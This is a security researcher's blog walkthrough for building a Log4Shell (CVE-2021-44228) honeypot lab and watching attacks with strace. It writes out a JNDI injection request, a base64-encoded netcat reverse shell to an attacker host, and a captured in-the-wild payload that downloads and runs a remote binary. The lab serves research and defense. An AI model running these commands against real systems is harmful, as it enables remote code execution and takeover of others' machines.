For many of us December 10th, 2021 was a stressful day. At least for the sysadmins and cyber security teams it was while in contrast a good time for cyber criminals and malicious Minecraft players. Any application running Apache’s log4j2 logging tool was vulnerable to a remote code execution (RCE) attack with the highest CVE score of 10.0.

🔗 https://nvd.nist.gov/vuln/detail/CVE-2021-44228

What made this vulnerability especially worse:

  • The vulnerability and proof of concept (PoC) were released at the same time.
  • It’s a very popular logger for Java applications.
  • No authentication is required.
  • Simple enough to script and blast over the Internet.

Since the PoC was released already I decided to test it myself to see what type of attacks were in the wild and how the exploit would evolve and adapt to workarounds.

For just a simple vulnerability example:

🔗 https://github.com/christophetd/log4shell-vulnerable-app


We will need to setup two separate virtual machines. This can be done through a cloud service such as AWS, Azure, DigitalOcean, etc. The first machine will run the vulnerable application and the second machine will test a malicious payload to the vulnerable machine. This is a basic list:

  • Two debian/ubuntu-based Linux VM setup
  • ssh is enabled with an ssh key pair
  • Firewall rules are open for inbound ports (recommend using iptables to restrict ssh access to only you):
    • First VM
      • 22 TCP
      • 8080 TCP
      • 80 TCP (optional)
    • Second VM
      • 22 TCP
      • 8888 TCP
      • 1389 TCP
      • 9999 TCP (or whatever arbitrary number you want)


This is basic view of how the log4j2 vulnerability can work with a reverse shell payload attack:



First VM – Vulnerable App


Log into your first VM and run updates:

sudo apt -y update

Install Docker (and optionally Apache):

sudo apt -y install docker docker.io apache2

Run vulnerable log4j2 application:

docker run --name webapp -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app &

Install curl command in the docker container (optional):

docker exec webapp apk add curl
This is because some payloads will do a wget and curl commands.

Apache Redirect (Optional)

Admittedly I tried but didn’t want to spend too much time trying to find or change the docker’s tomcat server.xml to port 80 so I just threw in an Apache server to redirect. This will make it more likely to get attack hits.

Edit the default config file:

sudo vi /etc/apache2/sites-available/000-default.conf

And add the redirect (change to your IPs):

<VirtualHost *:80>
        #ServerName www.example.com

        # ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        ProxyPreserveHost On
        ProxyRequests Off
        ProxyPass / http://<vulnerable_ipaddress>:8080/
        ProxyPassReverse / http://<vulnerable_ipaddress>:8080/

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

Setup proxy and restart service:

sudo a2enmod proxy && sudo a2enmod proxy_http && sudo service apache2 restart


We can use stack trace to monitor if any reverse shells are connected to our machine from the log4j2 RCE.

We can run commands in the docker to retrieve running processes:

docker exec webapp ps

Since this will be our baseline, we can remove ps or grep processes from out lists and make a baseline file:

docker exec webapp ps aux | grep -vE "ps aux|grep|java -jar /app/spring-boot-application.jar" > baseline.txt

We will come back to this once we make a connection.

Second VM – Attacker

On your second VM we can install Java and a compiled jar file that will convert our commands from base64 to run the the vulnerable machine:

wget https://github.com/btnrsec/log4jScan/raw/main/JNDIExploit-1.2-SNAPSHOT.jar
wget https://github.com/adoptium/temurin11-binaries/releases/download/jdk-11.0.13%2B8/OpenJDK11U-jdk_x64_linux_hotspot_11.0.13_8.tar.gz
mkdir /usr/lib/jvm/ && tar -xf OpenJDK11U-jdk_x64_linux_hotspot_11.0.13_8.tar.gz -C /usr/lib/jvm/

Then turn on the JNDI listeners (set to your IP address) and use & to detach it:

/usr/lib/jvm/jdk-11.0.13+8/bin/java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ipaddress> -p 8888 &

Then setup your netcat listener:

nc -lvnp 9999


On another terminal, setup our reverse shell code (using the attacker VM ipaddress:

echo -en "nc <attacker_ipaddress> 9999 -e /bin/sh" | base64

Copy the base64 code and run the attack command:

curl <vulnerable_ipaddress>:8080 -H 'X-Api-Version: ${jndi:ldap://<attacker_ipaddress>:1389/Basi

This should return Hello, world!

On our Vulnerable machine we should see our logger output:

docker logs webapp

And our Attacker machine will show both the JNDI jar connection response and the netcat reverse shell connected:

Monitor Attack

On the Vulnerable machine, we can check the connections again and can see a new process is running:

docker exec webapp ps

We can then search for the process on the host machine:

ps -aux | grep "/bin/sh" | grep -vE "grep|strace-agent" | awk '{print $2}'

And finally from the PID start a trace:

strace -ffp <PID>

Then in the netcat reverse shell, try a few connections to see the results on the Vulnerable machine:

ls -lh

Script Process

We can make a shell script and setup a cronjob to put it all together that will:

  • Get current docker processes into file.
  • Compare difference to baseline.txt.
  • Pull docker process name.
  • Pull full system processes.
  • Pull process ID matching docker process name.
  • Setup strace into an output file.
  • Cleanup current docker processes files every hour.

It is not elegant but so far I ended up with strace-agent.sh :

today=`date +%m-%d-%Y-%T-%N`

docker exec webapp ps aux | grep -vE "ps aux|grep|java -jar /app/spring-boot-application.jar" > $filename

diff baseline.txt $filename


echo $filename

if [[ $ret -eq 0 ]]; then
    echo "No new processes."
    newPID=`cat $filename | grep -v "PID" | awk '{print $1}' | xargs`
    echo "newPID $newPID"
    newProcess=`docker exec webapp cat /proc/$newPID/cmdline | xargs -0 echo`
    echo "newProcess $newProcess"

    # Originally had this cmd but docker had /bin/sh and host had sh 
    # hostPID=`ps -C "$newProcess" -o pid= | awk '{print $1}'`
    hostPID=`ps -aux | grep "$newProcess" | grep -vE "grep|strace-agent" | awk '{print $2}'`
    echo "HostPID $hostPID"

    strace -ffp $hostPID -o $tracefilename &

find . -type f -mmin +60 -delete

Then set this to run every Xs (or you can setup a cronjob):

while true ; do /root/strace-agent.sh & sleep <seconds>; done &

When run with our netcat listener it will output and create a strace log:

Wild Encounters

So far just a few attackers. One of which is trying different variations of JNDI to run and install their executable file.

The base64 decoded payload is:

wget http://<server_to_not_index_ip>/reader; curl -O http://<server_to_not_index_ip>/reader; chmod 777 reader; ./reader runner

When I first set this up I didn’t have curl installed on the docker and it didn’t complete.

These have already been reported on Triage :

🔗 https://tria.ge/s?q=sha256%3A9691061f778674bb4e28fb6a2d88a2fe72711ae71f3d2f4137654e1b5e91c9d2

If there are any errors or better approaches for this feel free to email info [ at ] btnrsec [dot] com.